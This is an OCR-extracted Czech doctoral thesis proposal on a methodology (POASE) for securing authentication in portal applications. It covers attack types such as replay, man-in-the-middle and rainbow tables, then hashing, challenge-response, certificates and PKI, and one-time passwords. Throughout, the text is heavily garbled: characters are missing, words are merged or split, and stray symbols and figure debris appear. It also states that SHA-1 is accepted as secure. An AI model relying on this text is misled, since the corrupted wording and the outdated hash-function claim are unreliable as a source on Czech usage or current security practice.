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1. Uvod

Ji od po atku lidstva je jedinec ve spoleosti i v komunit n jakym zp sobem
identifikovan. Pi r znych formach lidskych aktivit a pvzajemné komunikaci bylo nutné
jedince identifikovat a tim vzajemnodliSit. Ve starovku obchodnik stvrzoval identitu
otiskem prstu do hlimé desky, pro prokazani identity byly pou ivany ge a amulety,

v novodobé historii se jedinec identifikoval vroyem charakteristikami ve spojeni
s papirovym dokumentem, ktery phfien jemu. Jedinec je oznavan islem, prkazem,
pasem apod. Identifikai hodnota pvodnich cestovnich pasi legitima nich papir byla
pom rn nizk& ped vynalezem fotografie.

NejstarSim prosedkem identifikace (@sn ji autentizace — prokazani pravosti identity)
je znalost sdileného tajemstvi. Jedna se @dgm domluvené heslo, jeho znalosti se
jednotlivé strany komunikace navzajem prokazujéj@ou nevyhodou je mo ny odposlech a
zneu iti sdileného tajemstvi neoprawou osobou.

DalSim prostedkem autentizace je vyu iti nemné charakteristiky jedince. Ve spojeni
s identifikanimi pr kazy jsou nejast ji pou ivany fotografie, diky kterym je mo né owit
podobu dritele prkazu s podobou na fotografii. V kriminalistice jaké vyu ivana
identifikace prosednictvim otisku prstu nebo narojsi, ale pesnjsi, analyza DNA.

Posledni mo nosti oveni identity je prokazani vlastnictvi. Vid jSich dobach to byla
napiklad vySe zminna pee nebo jakykoliv specificky osobni@dm t, v pozdjSich dobach
nap. razitko.

Z pohledu informanich a komunikanich technologii sowasny trend smuje ke znané
centralizaci dat a aplikaci. Podni davkové zpracovani v 50. letech 20. stoletiyradovalo
ov eni identity vzdalenym systémem — k vyptmimu stroji byl fyzicky omezen istup
opravnnym osobam. Po zavedeni modelu host-terminal seajedo pomrn uzaveneé
systémy. Zaatkem 21. stoleti byla na serverovou stranespnuta mpvan data a
v poslednich letech dochazi také kgunu aplikaci na serverovou stranu. Tento treodisio
s rozvojem cloudovych aplikaci. Vzhledem k tomuk € mto aplikacim je nutné stupovat
vzdalen, v tSinou prostednictvim celosvtové sit internet, je kladen vysoky daz na
zajist ni autenticity pistupujicich u ivatel ,na dalku*.

V souvislosti s rozvojem internetu, jeho jedno@iprvky jsou v rukach soukromych
firem a neni tedy moné zabranit potencialnimu alechu, pipadn pozmn ni

komunikace, je nutné zajistit autentizaci sofistd&oymi metodami.



2. Cile diserta ni prace

Cilem pedkladané disertai prace je vytvaeni navrhu nové metodiky pro zlepSeni
bezpenosti autentizace. V nasledujicim textu bude nawahé& metodika oznavana jako
,POASE" - Portal Authentication Security Enhanceine

V praci jsou analyzovany a porovnavany metody bazpautentizace. Daz je kladen
zejména na snadnou implementaceyan na stran klienta a samotnou bezpest
autentizace. Snadna implementace na strRlienta je zakladnim edpokladem pro

vSeobecné roz&ni metod bezpeé autentizace.
Hlavnim cilem prace je navrh metodiky POASE aqgeji eni.

Dil i cile prace jsou:
a) Analyza v souasnosti pou ivanych metod autentizace
b) Porovnani metod s ohledem na riziko ohro eni a adkina implementaci
c) Vyb r vhodné metody bezpeé autentizace pro implementaci a stanoveni podmine
pro jeji bezpené vyu iti
d) Analyza stavajiciho zabezpmni portalovych aplikaci
e) Vyb r vhodného zpsobu autentizace pro metodiku POASE

f) Synteticka doporweni pro zlepSeni bezp®é autentizace a navrh na dalSi vyzkum



3. Metodika

Uvodni &st prace bude wovana analyze literarnich zdrojz oblasti eSené
problematiky. V ramci této asti budou popsany bezp®stni mechanismy pou ivanéip
autentizaci. DalSiast prace se budenovat analyze autentizaich a bezpanostnich metod
pou ivanych v agronomickych portalech. Na zékladskanych informaci budou nastity
mo nosti Utok na autentizani protokoly pou ivané ve sledovanych portalech.

Pro navrh samotné metodiky bude nutné vybrat zéegph metod autentizace tu,
kterd nejlépe vyhovuje stanovenym po adavk Z po adavk bude kladen daz na
bezpenost, pou itelnost, funknost a dostupnost.

Po vyb ru vhodné metody autentizace bude navr ena metgaikavyseni bezpeosti
autentizace v portalovych aplikacich — metodika BBA

Pro dosaeni cile prace budou pou ity zakladnidecké metody analyzy, syntézy,
indukce, komparace a analogie. S ohledem na aieprazlepSeni bezpeosti autentizace —
budou aplikovany dvmetody pou ivané v procesu zlepSovani.

Prvni metoda je popsana cyklem PDCA. Vychazi ziekého modelu plan-do-check-
act (planuj-udlej-zkontroluj-uskuteni). Jedna se o metodu postupného zlepSovani v annoh
oborech, vetn informa nich technologii. Skladda se z nasledujicich f&#&a a dalSi, 1996),
(Doucek, a dalsi, 2013)

Faze 1 - P (plan) — naplanovani zamysleného zIéj&é&m r)

Faze 2 - D (do) — realizace planu

Faze 3 - C (check) — oweni vysledku realizace oproti yodnimu zamru

Faze 4 - A (act) — upravy zam i vlastniho provedeni na zakladv eni a

implementace zlepSeni do praxe

Planuj

=
o
|l:> Kontroluj ﬁ

Obrazek 1 Cyklus PDCA (Sedlaek, 2011)




V souvislosti s cyklem PDCA byvasto také zmiovana druhd metoda — metoda sedmi
krok (seven-step method). Ta se skldd& z nasledujcith:(Rao, a dalsi, 1996)
Identifikace problému a jeho jasné vymezeni
Analyza aktualniho stavu
Identifikace mo nych pi in problému
Planovani a implementaceSeni
Zhodnoceni vysledk

StandardizaceeSeni

N o gk~ wDbdRE

Zhodnoceni navr enéh@Seni a navrh budoucich pléopateni
V kapitole 3.2 je popséan vzajemny vztah metody PLxORAetody sedmi krok



3.1. Fazetvorby a ov eni metodiky

Navrh metodiky (v ramci prvni iterace) nebo Uprangtodiky (v dalSich iteracich) dle
zZjist né poteby v ramci analyzy. V této fazi je navr eno zlep8stavajici metodiky pro
autentizaci u ivatel. Navrh bude vypracovan metodou analyzy a syntéesatnich zdroj.

Dale bude metodika vychazet z aktualniho stavuzsbeni autentizace.

V ramci faze D bude dle navr ené metodiky implenosdin novy systém autentizace
do realnych systém Tyto systémy budou typowdpovidat oblasti pou itelnosti navrhované
metodiky.

Metodika bude ovena zhodnocenim Urovrbezpenosti autentizaniho mechanismu
implementovaného ve fazi D. Pro hodnoceni budouitygak tvrdé, tak m kké metriky dle

standard pro hodnoceni kvality informaich systém.

Tato faze je asto chapana jako faze rutinniho vyu ivani. Yppd novych zjistni je
tato vSak tato faze zarovepodntem pro dalSi iteraci v cyklu PDCA. Za nova zjigtlze
pova ovat:

Zm na pedpoklad, na kterych byla metodika vypracovana

Zm na v systému nebo v jeho vazbéach
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3.2. Vztah mezi metodou sedmi krok a PDCA

Dle (Rao, a dalsi, 1996) je metoda PDCA zobeom metody sedmi krok jak je
Z ejmé z nasleduijici tabulky. Pro pety disertani prace budou pou ity kroky dle metody

sedmi krok pro podrobnjSi len ni.

Faze PDCA Krok dle seven-steps
Plan 1. Identifikace problému a jeho jasné vymezeni
2 Analyza aktuélniho stavu
3. Identifikace mo nych pi in problému
Do 4 Planovani a implementaceSeni
Check 5. Zhodnoceni vysledk
Act 6. StandardizacesSeni
7. Zhodnoceni navr enéhoeSeni a navrh budouci¢h
plan

Tabulka 1 Vztah PDCA k metod sedmi krok (Rao, a dalSi, 1996)
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4. Teoreticka vychodiska

V této kapitole jsou na zakladiterarnich zdroj shrnuty poznatky z oblasti bezpesti
dat a autentizace.

V posledni asti této kapitoly je prostor movany finannim aspektm po ita ové
bezpenosti, nebo prav finan ni omezeni p implementaci bezp@ych metod autentizace
jsou jednim z limitujicich faktorvySSi miry zabezpeni a stanoveni optimalni investice do

zabezpeeni je kli ové.

12



4.1. Autentizace

Autentizace je oveni identity u ivatele nebo entity v systému,tdinou za Uelem
izeni pistupu ke zdrojm a objektm v systému (Doset| 2004).
Proces autentizace sestava katika zakladnich fazi:
Nejprve je nutné do systému registrovat u ivatgbe, adit mu autentizaci Udaje a
definovat jeho prava.
V druhé fazi je od u ivatele ziskdna autentizainformace (heslo, data gpové karty,
jednorazové heslo apod.). Data jsou odeslana waéidle systéemu, ktery na jejich zaklad

potvrdi nebo nepotvrdi identitu protistrany.

4.1.1. Zakladni zp soby autentizace

Jedna se o nejstarSi a nejpou iv&h zp sob ziskani autentizai informace (dkaz
znalosti n eho —some-thing to know Nevyhodou jsou naroky na pamu ivatel . asta
zm na hesla nebo mnoho rozdilnych hesel vede u ivdtglestranni evidenci hesel, co ma
za nasledek sni eni bezpwsti. Kratka a jednoduse zapamatovatelna heslarjdohylna na
atok typubrute force (Greer, 1999)

Metody zalo ené na znalosti hesla jsou zaklademy@®chny autentizai protokoly.

V dy je autentizani informace pevedena do digitalni podoby a odeslana komunika
kanalem.

Zatim asi nejbezpa jSim zp sobem ziskani autentiza informace je wvyuiti
bezpenostniho pedmtu (d kaz vlastnictvim n eho — something to have). U ivatel
prokazuje vlastnictvi gdmtu — ipové karty, USB tokenu, seznamedem dohodnutych
hesel, generator jednorazovych hesel.

V p ipad ipovych karet nebo USB tokerp i autentizaci vlo i toto zdzeni do vhodné
te ky a systém pak ziska zquim tu potebné informace.

V p ipad seznamu gdem dohodnutych hesel u ivatel pou ije heslo, &tgr aktualn
v po adi, a oznd heslo za pou ité (hesla se neopakuiji).

Nejv tSi nebezpd hrozi pi ztrat bezpenostniho pedmtu. Pokud neni chran

dalSim bezpenostnim opatnim — heslem, kédem PIN apod., endojit k jeho zneu iti.

13



Pi d kazu vlastnosti je autentiza informace ziskdna z které m itelné tlesné
charakteristiky u ivatele (otisk prstu, obraznd duhovky nebo sitnice, tvar ruky, vzorek
hlasu, charakteristické rysy prace).

Tyto technologie zatim neposkytuji jednozmau identifikaci a jejich nevyhodou je
navic nemnna autentizani informace — po zkopirovani autentin&ch (daj je mo né
podvrhnout faleSna data. Zhto d vod je zatim tato forma autentizace pou ivana p
p ihlaSovani nablizko (pdta ové stanice, dochazkoveé systémy) eava n v systémech, kde
neni pipadna chyba pautentizaci kriticka.

V souvislosti s dkazem vlastnosti jsou znavana dv m itka spolehlivosti:

FAR — False Acceptance Rate, tedy pragpatiobnost ozn&ni nepravého u ivatele
jako opravnného

FRR — False Rejection Rate, tedy prapddobnost odmitnuti opravmého u ivatele

A

FAR
FRR

FRR

prahovd hodnota

Obrazek 2 Zavislost FAR a FRR na prahové hodnot

(Biometrie)

Pro minimalizaci rizika zneu iti autentizai informace je vhodné vyu iti vice faktor
pi autentizaci — nap pouiti hesla a jednorazovych hesel, kdy prolomgadnoho

autentizaniho faktoru nevede k okam itému ohro eni autentid&o systému.
4.1.2. Digitalni podpis

V n kterych pipadech je pro bezpeou komunikaci nutné zajistit takzvanou

nepopiratelnost. U ivatel tak nema mo nost po odeslzpravy popt, e ji odeslal on.

14



Digitalni podpis zajiduje identifikaci odesilatele a zarovéntegritu odeslané zpravy
(tedy zaruuje nemnnost zpravy bhem penosu.)(Han&k, a dalsi, 2000)

Vhodnou technologii pro zajisti poadavk na digitalni podpis je asymetricka
kryptografie. (Doucek, a dalSi, 2008). Digitalnidpes je tvoen pomoci soukromého ké
asymetrické kryptografie. Platnost soukroméhoeklie ov ovana veejnym kli em, ktery
p islusi k danému soukromému kli Nevyhodou pou iti asymetrické kryptografie jejije
vypo etni naronost. Ztohoto dvodu se @ podepisovani podepisuje pouze otisk
podepisovaného dokumentu. Z uvedeného vyplyvajiokésnaroky na hashovaci funkce

zajis ujici otisk podepisovaného dokumentu.(Géla, a da(¥j9)
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4.2. Utoky na autentiza ni protokoly

4.2.1. Utok opakovanim

Utok opakovanimreplay attack spo iva v odposlechue@vesdropping komunikace
mezi dv ma stranami a nasledné pou iti odposlechnutyclpdatutentizaci Gtmika.

4.2.2. Utok ze st edu

Utok ze stedu (nan-in-the-middle attackeboli MITM) spo iva v pitomnosti Gtonika
pi komunikaci dvou stran. Utmik m e sledovat komunikaci pmo na aktivnim
sm rovacim zaizeni v siti nebo me vyu it libovolného atoku na pdta ové sit, napiklad
ARP redirect. (Dostalek, a dalsi, 2002) Pro minigzadi rizika Gtoku ze seédu je vhodné
pou it nezavisly komunikani kanal, nap jiné poita ové sit, telefonického nebo SMS

ov eni.
4.2.3. Utok hrubou silou

V p ipad utoku na hesla hrubou silobr(te-forcg se nejedna o utok na samotny
autentizani protokol, ale na samotné heslo. Jedna se ocsitpa ni Uto nik n jakym
zp sobem ziska uivatelovu autentizaci informaci —lbep ipadn digitalni otisk hesla.
(Dosedl, 2004)

4.2.4. Slovnikovy utok

Slovnikovy Gtok vyuivd testovani Usgnosti pihlaSeni pomoci gdem asto
vyu ivanych hesel nebo slov uvedenych ve slovniketw jejich modifikaci (obracené
po adi pismen, pdana islice, prvni velké pismeno). Nedavny utok na Sbny a web
Gawker media a hesla jejich uivatelodhalil pomrn vypovidajici statistiku o realn

pou ivanych heslech skuteymi u ivateli. (Hung)
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Prevalence of passwordin dictionaries

M In password dictionary Not in password dictionary

Obrazek 3 Paodil slovnikovych hesel (Hung)
Z dalSi analyzy také vyplynulo, e 99% u ivatepou iva pouze alfanumerické znaky

porovnanim dvou ziskanych databazi bylo zjiét e 67% u ivatel Sony a Gawker pou iv

stejné heslo do obou systém
4.2.5.Pohled p es rameno (shoulder surfing

Pohled pes rameno vyu ivd nepozornosti u ivateld padavani hesl V souvislosti se
zvySovanim bezp@ostnich opaéni \podob kamerovych systém v internetovych
kavarnach, pdta ovych uebnach a jinych mistech, kde je nutné zadavat heslaiziko

tohoto utoku zvysuje.
4.2.6. Utok na integritu zprav

Integritni Utok souvisi nedokonalym navrhem protokolu. Protokcumo uji eSit
mnohé nestandardni situa¢eapiklad podvr ené zpravy, nespravrpodepsané zpravy
Chovani autentizaniho protokolu ale neni eteno na pesah velikosti jednotlivych zpré
nebo poli. Chovani autentizaho systému pak me byt nevyzpytatelné a me dojit také

k napadeni samotného systé
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4.3. Hashovaci funkce

Hashovaci funkce je ireverzibilni funkce, kterdextti libovolné délky vytvd otisk
(hash) pevn stanovené délky. Z definice jeefmé, e existuje vice text ktera maji stejny
otisk. Zakladni kritéria hashovacich funkci jsosledujici:

1. Mala zm na na vstupu musi vyvolat velkou zmu na vystupu
2. Je obti né najit dva texty, které maji stejny héistzkoliznost)

Prvotni hashovaci funkci byl CRC kéd (cyklicka redantni ochrana,asto zmiovana
jako kontrolni souet), pomoci kterého bylo mo né stanovit, e v textebo v souboru doslo
ke zmn . Dodnes je tento kéd pou ivan pro ogni neporusenosti zaznamu na pevném
disku. Kéd CRC byl ulo en nejvyse v kolikabajtové hodnot

StarSi algoritmus MD5 je mnohem sofistikovgii. Je charakterizovan vystupem
nej astji ve form hexadecimalnihoisla o délce 32islic. Po et vSech mo nych hashtedy
dosahuje hodnoty & Pesto ji byly vyvinuty algoritmy pro tvorbu dvou sbor s r znym
obsahem, ale stejnym hash kédem. Z tohoteodu neni MD5 v dneSni doldoporuovan
pro standardni pou ivani.

Nov jSi algoritmy ady SHA-1 a SHA-3 jsou dnes akceptovany jako bempea
d v ryhodné.

4.3.1. Utok hrubou silou

Najit k hash kodu prodni text hrubou silou je ji vzhledem k délce hasddu tém
nemo né. Zatim neexistujici stroje nebo systémgrétby byly schopné v dohledné dob

prov it vS8echny kombinace, kterych ne byt v pipad 512bitovych hashovacich funkci a
2512.

4.3.2. Rainbow tables

Pro nalezeni prodniho textu k hash kddu Ize pou it také na intédundostupné rainbow
tables, tedy tabulky hash ko jejich pvodnim textem. Je nutné z@znit, e se nemusi
skuten jednat o pvodni text, jedna se pouze o text, ktery ma stéjagh kod. Z tohoto
d vodu neni volba hashovaci funkce pro technologinggdzovych hesel (popsana dale)
p ili§ rozhodujici. Utonik toti musi znat pesné znni p vodniho textu, jinak neni schopen

generovat nasledujici heslo.
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Rainbow tables jsouasto pou ivany pro prolomeni hesla ulo eného v godbashe.
V tomto pipad je samozejm mo né autentizovat se libovolnym textem, ktery stéjny
hash.

Nebezpei zneu iti rainbow tables vzrostlo s rozvojem clou#tdy databaze hash kod
m e byt snadno distribuovand mezi velké mno stvi p@ a zérove je (pi vhodné
organizaci) mo né vyhledat po adovany hash ve velmditkém ase.

V této souvislosti je vSak nutné zaznit, e rainbow tables zatim mohou obsahovat jen
velmi malou asti vSech mo nych hash koda riziko tedy tvoi p edevSim kratkd nebo

jednoducha hesla.

19



4.4. Metody autentizace

4.4.1. Autentizace heslem

po ita ovych siti provozovanych pouze lokalnnebo pi lokalnim ov ovani uivatel
k mistnim poita m, bylo riziko zneu iti hesla pomin nizké, peneslo se jeho pou ivani i
do prostedi internetu, kde ji neni mo né se spolehnouth&peny p enos dat. Resto ji
v prvotnich autentizanich systémech bylo dobrych zvykem ukladat na servesla ve skryté
podob — nejlépe v podobhashe. R autentizaci se tak porovnava pouze otisk hesitm anik

nem e zjistit b hem penosu samotné heslo.
4.4.2. Autentizace challenge-response

Snahou o autentizaci challenge-response je elimimaik zmi ovanych v pedchozi
kapitole. Poskytuje dv formy autentizace — pouhé zjigf, jestli se na projSi stran
komunikace nachazi , ivy“ uivatel (dtomnost fyzické osoby) pro vyloani robot a
automat. Druhou formou je samotné provedeni autentizakt®ifam znalosti.

'"# % % & %

Toto eSeni nezajidije identitu protistrany, ale je ochranou proticanat m, které se
napiklad mohou pokousSet o automatickéhpasSeni, automatizované vkladaniigp vk
apod.

Nej astji pouivané jsou textové otazky, matematické ulohgbo pe teni textu
z obrazku. Nevyhodou textovych otazek je mo nost, uivatel na n nezni odpov ,
problémem byva takeé jazykova bariéra. Mohou byy f@ol ity p edevsim v lokalni prostdi
intranet nebo web s omezenym okruhem u ivatel

NejrozSien jSi zp sob mé& podobu obradzk tzv. CAPTCHA (completly automated
public Turing test to tell computers and humansriaplla trhu vSak ji existuji slu by na
teni text z obrazk. Cena za @ teni 1000 text ini 2USD. (Decaptcher)

(

Princip autentizace challenge-response vyu ivajikiyptografickych metod je
nasledujici: (Challenge-response)

Server zasle klientovi unikatni vyzvu sc

Klient generuje unikatni vyzvu cc
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Klient spo itd odezvu cr=hash(cc+sc+secret)
Klient odeSle odezvu cr a vyzvu cc na server
Server spaita o ekavanou hodnotu cr a oV proti odpovdi klienta
Server spaita sr=hash(sc+cc+secret)
Server odesle sr klientovi
Klient spo itd o ekavanou hodnotu sr a oV proti odpovdi serveru
Pou ité zkratky:
sc-vyzva serveru (server challenge), cc-vyzva kdidalient challenge)
sr-odpov serveru (server response), cr-odpoklienta (klient response)

secret-sdilené tajemsti (heslo)

4.4.3. Autentizace certifikatem

Autentizace certifikdtem je zalo ena na principurastruktury veejnych kli . Ta
spoiva v systému certifikanich autorit vystavujicich certifikaty soukromychli k
jednotlivych u ivatel .

V sou asné dob se pro zvySeni bezpeosti, pipadn pro zajistni n kterych slu eb IT

asto vyuiva asymetrické kryptografie. iladem takového vyuiti je elektronické
podepisovani, Sifrovana spojeni s vyu itim digii@mcertifikat , asto vyu ivané nagklad v
elektronickém bankovnictvi. Pvyu iti asymetrické kryptografie hraje zasadniirpou iti

tzv. certifikat, které jsou nositeli kli pouivanych pi autentizaci, Sifrovani nebo
zabezpeené komunikaci. Kada ze zastnnych stran zabezpené komunikace ma dva
kli e —jeden soukromy (privatni), druhy ggy. asto se ovSem nejedna pouze o jednu, ale
o vice dvojic kli pro ka dého Uastnika, kdy se ené pary kli uivaji pro r zné Gely.

Ale v zasad jde o to, e soukromy kli musi byt peliv uschovan nap na ipové kart, na
disket, ktera je chrama, na pevném disku $zenym pistupem do operaiho systému
apod., zatimco vejny kli je naopak zvejn n. (Brechlerova, 2004)

Zve ejn ni provadi certifikani autorita (CA) obvykle tak, e vejny kli uvede jako
jeden z udaj v tzv. certifikatu, co je elektronicky dokumentpsesn danymi polo kami.
Jednou z nich je tedy wgny kli , dale nap identifikace algoritmu podpisu, sériovéslo
certifikatu, oznaeni certifikani autority, ktera certifikat vydala, misto, kdee|mnalézt
certifika ni politiku, nadizené certifikaty z certifikani cesty, dobu platnosti certifikatu, dalsi
polo kou je identita vlastnika kle (common name), pro zasilani podepsanych e-npail
vhodné mit v certifikatu e mailovou adresu. Exishgrmy a doporweni, které polo ky maji
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byt obsa eny v certifikatu i zpob jejich naplnni. P esto existuji unté dohady, jak certifikat

naplnit, resp. které udaje do jakého pole v cé#dtfi umistit, tak e je nutné stanovit, aby
alespo v dané lokalit byly Udaje strukturovany stejn Pikladem tohoto problému je
umist ni identifikatoru obana, nahrazujiciho rodndslo pro kontakt s vejnou spravou -

I.CA (Prvni certifikani autorita) jej po zva eni davad do Alternative re@ther name a

ostatni tuto skuteost budou zjm respektovat, proto e jinak by zkomplikovali vyvoj
aplikaci, které tento udaj pebuiji.

)" %

Certifikdty mohou slouit jednak k podepisovani, af@ eni nepopiratelnosti
odpov dnosti, zachovani integrity dokumentu, zajstautenticity dokumentu), k Sifrovani
k autentizaci. Pro zaji&ti identity internetovych prezentaci firem jsou peané serverove
certifikaty, které sloui k identifikaci server Novela zakona o elektronickém podpisu
p inesla nové oznani kvalifikovany systémovy certifikat - jedna secertifikat, kde m e
byt v nazvu (common name) uvedena pravnicka osopadapisovani, resp. ozrvani se
m e provadt automatizovan (RFC3280), (Gala, a dalsi, 2009)

* %
autority, resp. registrai autority. Registrani autorita je misto, na kterém se ayje identita
osoby. Certifikani autorita zajisti spojeni certifikatu a jeho tkle a na dkaz, e je certifikat
v poadku, jej elektronicky podepiSe. Certifikat byvasto pirovnavan k obanskému
pr kazu ve svt internetu, v takovém fpad certifika ni autorita hraje roli @du, ktery
nejprve ov i toto nost a poté vyda, resp. potvrdi platnostariského prkazu (prkaz jako
takovy si vlastn vyda sam u ivatel tim, e vygeneruje par kli z nich jeden, soukromy, si
ponecha u sebe a druhy, emy, pinese nebo posle certifikai autorit k potvrzeni). Na
rozdil od obanskych prkaz , nejsou ale vSechny certifikaty na stejné prawmitechnickeé
arovni. Urove takového certifikatu je pak dana jednakiddnosti, s jakou dochazi k oeni
identity adatele o certifikat, a dale imo technickym vybavenim a pou itou technologii
certifika ni autority. Proto se zde hovoo d v ryhodnosti a Urovni zaruk, kterou jeip
pou iti a pijeti daného certifikatu nutno zva it.

Certifikat je bu rovnou pipojovan napklad k zasilanému e-mailu, nebo je mo no si
ho stdhnout z nakého veejného serveru. Podle novely zakona o e-podpismgené
po adat, aby certifikat nebyl zvejn n na seznamu vejnych certifikat. V pipad, e
uivatel obdri zpravu, kterd je podepséana na zdklamezveejn ného certifikatu, a tento
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certifikdt neni ke zpravp ipojen (nap. SIMIME certifikat pipojuje), je nutné o rj druhou
stranu po adat.
#

Proto e m e dojit k poruSeni bezpeaosti soukromého kle (nebo k uplynuti doby
jeho platnosti), a poté by uiti celého systéemu wvdi ji nebylo bezpené, zveej uji
certifika ni autority pravideln seznam zneplatnych certifikat (CRL, certificate revocation
list), kde je mo no zjistit, zda je uita kli ova dvojice jeSt bezpena. Pokud se tedy sériové

islo certifikatu na tomto seznamu nenachazi, réspr itétmu okam iku zde nebylo
zve ejn no, neskonila doba platnosti certifikatu a nebyla naruSen@grita certifikatu (a
pokud toté plati i o vS8ech naidenych certifikatech v certifikai cest), je certifikat platny.
Je zde vSak problém ut, kdy byl certifikat pou it - tato doba nemusi tpto na napiklad s
dobou odeslani, nehledha skutenost, e as na postovnimi webovém serveru neniips
spolehlivy udaj. Proto existujeasové razitko, které doklada existenci dokumentianém
ase. Samoejm ani asové razitko neuir dobu, kdy byl nap u in n podpis, ale Ize uit,
e v dob ped orazitkovanim ji byla zprdva podepsana. BankySimou seznamy
zneplatnnych certifikat nezveej uji (CRL je dostupné jen uvnijejich interni sit), proto je
pro ostatni subjekty problematické oW, jestli ke zneplatmi nedoslo.

+ +

Certifika ni autority obvykle maji kromvydavani certifikat a zveej ovani CRL jest
celou adu dalSich funkci a celému tomuto systému @& PKI. PKIl je koncept
bezpenostnich mechanism softwaru, technologii, kryptografickych technik a
administrativnich pravidel a postuppomoci nich se zavadi petoné bezpeostni prvky
autentizace, identifikace, d rnosti a dostupnosti. PKI zi@ uje kryptografii s veejnymi
Kli i, digitélni certifikaty, certifikani autority a registrani autority do bezpeaostniho
komplexu na dané arovni (podnikova, statnbtevené systémy). Systém zalo eny na PKI
zajiS uje vydavani digitalnich certifikat fyzickym osobam i pro serverové aplikace,
rozSiovani a spravu softwaru, integraci s knihovnimitsmi certifikat , nastroje pro spravu
a obnovovani certifikdta dalSi slu by. Certifikaty maji Siroké pou itiejmo no je pou ivat
pro oblast elektronického podpisu, Sifrovani alautentizace apod. Certifikat nemusi mit
pouze osoba, ale i server,igadn existuji atributové certifikaty, které umauji svému

driteli lenstvi v njaké skupin, roli nebo urité opravnni v systému. (RFC4158)
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jestlize davéruji

pak divéfuji také

Obrazek 4 Strom d v ry (Peterka)
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0000000J0000000
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000000000000000
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Certifika ni autority vytvéeji hierarchickou strukturu vizObrazek4. Vrcholem této

struktury je koenovy (root) certifikat. Certifikaty potkzenych certifikanich autorit, pip.

certifikdty konkeétnich u ivatel, jsou v dy podepsany naazenym certifikatem, kenovy

certifikat je podepsan vlastnim soukromym &, ktery musi byt velmi doe ulo en,

proto e jeho prozrazeni by vedlo k pemi dv ry ve vSechny podzené -certifikaty

Vzhledem k tomu e ke zneu iti certifikani autority (respektive jejiho soukromého Elj ji

doSlo vdruhém pololeti roku 2011 (vObrazek %, Ize toto riziko pova ovat za reél.

Certifikaty

-

ZamySleny Géel: [<vze>

Dévéryhodni vydavatelé | Nedvéryhodni vydavatelé

Vystaveno pro Vystavitel

(5] addons.mozila.org UTN-USERFirst-Hardw...
_aJDigiNotar Cyber CA GTE CyberTrust Globa...
_EJDlglNotar Cyber CA GTE CyberTrust Globa...
(IDigiNatar Cyber CA  GTE CyberTrust Globa. ..
[/ DigiNotar PKIoverh...  Staat der Nederlande...
_aJDigiNotar PKIoverh... Staatder Mederlande...
_eJDlglNotar Pkloverh.., Staatder Mederlande...
_eJDigiNotar Root CA DigiMotar Root CA

[ DigiNotar Root CA Entrust.net Secure Se...

Popisny ndzev o

Fraudulent
Untrusted
Untrusted
Untrusted
Untrusted
Untrusted
Untrusted
Untrusted
Untrusted 2

Importovat... | |Exportovat... Odebrat

Zamyslené Ocely certifikdtu

Dalsi informace o certifikatech

brazit

Obrazek 5 Ned v ryhodni vydavatelé (zdroj: autor)

V tSina CA ma svj vlastni koenovy certifikat, pipadn existuji domény danych C;

Proto si musi uivatelé nainstalovat mnoho éwovych certifikdt a situace ¢ stava

nepehlednou Pro uivatele je navic
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problematické, proto e \Sinou nemaji dostateé mno stvi Udaj, p ipadn asu takove
Gdaje zkoumat.
Akreditaci poskytovateim certifika nich slueb v R ud luje Ministertvo vnitra na
zaklad:
spln ni vSech podminek pdepsanych zakonem v souladu s § 10 odst. 4 zak«
227/2000 Sb., (zakon o elektronickém podp
spln ni podminek, po adavk a postup stanovenych vyhlaskou 378/2006 Sb.,
postupech kvalifikovanych |skytovatel certifika nich slueb, o po adavcich r
nastroje elektronického podpisu a o po adavcich athranu dat pro vytvéani
elektronickych znaek (vyhldaSka o postupech kvalifikovanych poskyteva
certifika nich slu eb);
ov eni kvalifikovanych sysmovych certifikat Ministerstvem vnitra podle § 9 od

2 pism. d) zakona o elektronickém podg

.Pn:rS@num Raor QcA

kofenovad certif i autorita

jestlize divéfuji % 6 ‘ﬁ

|:|tnh_¢:|nﬁ

pak divéfu]i take podfitend certifikacni |u|||r|I:'.'
| ;
PastSignum QCA

'._m ﬂl[ll[l‘i’ﬂ']ﬂ]llﬂ

- T kcsrmerdnl
| cortifikad mi warea
TERTEE ATEETEE

kvalhikovand certifikalni autorta

N\ m:m‘ TSA

ETTIT = T TErras
sutarsta Lasoviho razitka

Obréazek 6 Hierarchie d v ry PostSignum (Peterka)
V eské republice jsou akreditovany tertifika ni autority (Akreditace, 201(, ale

organy veejné moci maji povinnost uznavat také certifikiaautority : celé EU. (Peterka,
2010), (Peterka)

Na obrazku Obrazekjé zobrazeahierarchie dv ry certifika ni autority PostSignur
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VSechna pracovist Czech-POINT pou ivaji povinn jako autentizeni prostedek
autentizaci certifikatem.(MV R)

4.4.4. Jednorazova hesla

Bezpenou formu autentizace poskytuji jednordzova hesldy hesla, u nich neni
mo nost provést Utok opakovanim nebo odposlechnutiebo heslo je pou itelné prav
jednou. (RFC2289)

Lze snadno zavést dvoufaktorovou autentizaci, drufgktorem (napklad po zadani
klasického statického hesla) je vlastnictvi tokenu generovani OTP. ¥8ina hardwarovych
i softwarovych token aktualni heslo nijak nechrani, statisknout tlaitko nebo se podivat
na displej, neni nutné zadavat adny PIN nebcorpodobného. OTP je tedy dokém hesla,
nikoliv jeho nadhradou. (Valasek, 2011) (Hoyer, 2009

Vyhodou je, e na stranautentizujici se osoby neni krortokenu teba adné zvlastni
vybaveni: jednorazové heslo ma podobu 6-8 zmadbo islic, které stai opsat, pimé
propojeni tokenu s p@ta em neni teba. Lze se tedy autentizovat na cizim if@oi,

v internetové kavarnatd.

- . & . & %

Pi pou iti hardwarovych token je nutné eSit jejich distribuci, vymnu a podporu.
Trvanlivost token neni neomezena, vydr i tsinou 3-5 let.

Alternativou k hardwarovym tokem je softwarové generovani, aplikace existuji pro
vSechny bn pouivané mobilni platformy — Android, BlackBerriQS, J2ME, Windows
Mobile i Windows Phone 7. Velkaast potencialnich uivatel tedy specialni hardware
nebude potbovat.

Hardwarové tokeny jsou jenom tak bezpe, jak bezpené jsou systémy jejich vyrobc
V b eznu roku 2011 vydala spoleost RSA tiskové prohlaseni o zjisém atoku na produkt
SecurlD. (Coviello) Hrozilo nebezpe e unikl seznanseed - tajnych informaci, které
slou i jako zéklad pro generovani hesla.

Softwaroveé tokeny maji vyhodu, e seedy v nich ngjgadané napevno, ale m si je
volit autentizujici strana, ani by bylo nutné sploat se na vyrobce.

% /0

Existuji ovSem i otewené standardy, pomoci kterych m jednorazova hesla snadno

implementovat kdokoliv. Nasledujicést je vnovana dvma technologii — HOTP a TOTP.
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HOTP generuje nové heslo na po adani, typicky ridazh stisku tlaitka na tokenu,
TOTP generuje nové heslo automaticky v zavisloati ase, typicky ka dych 10, 30 nebo
60 sekund.

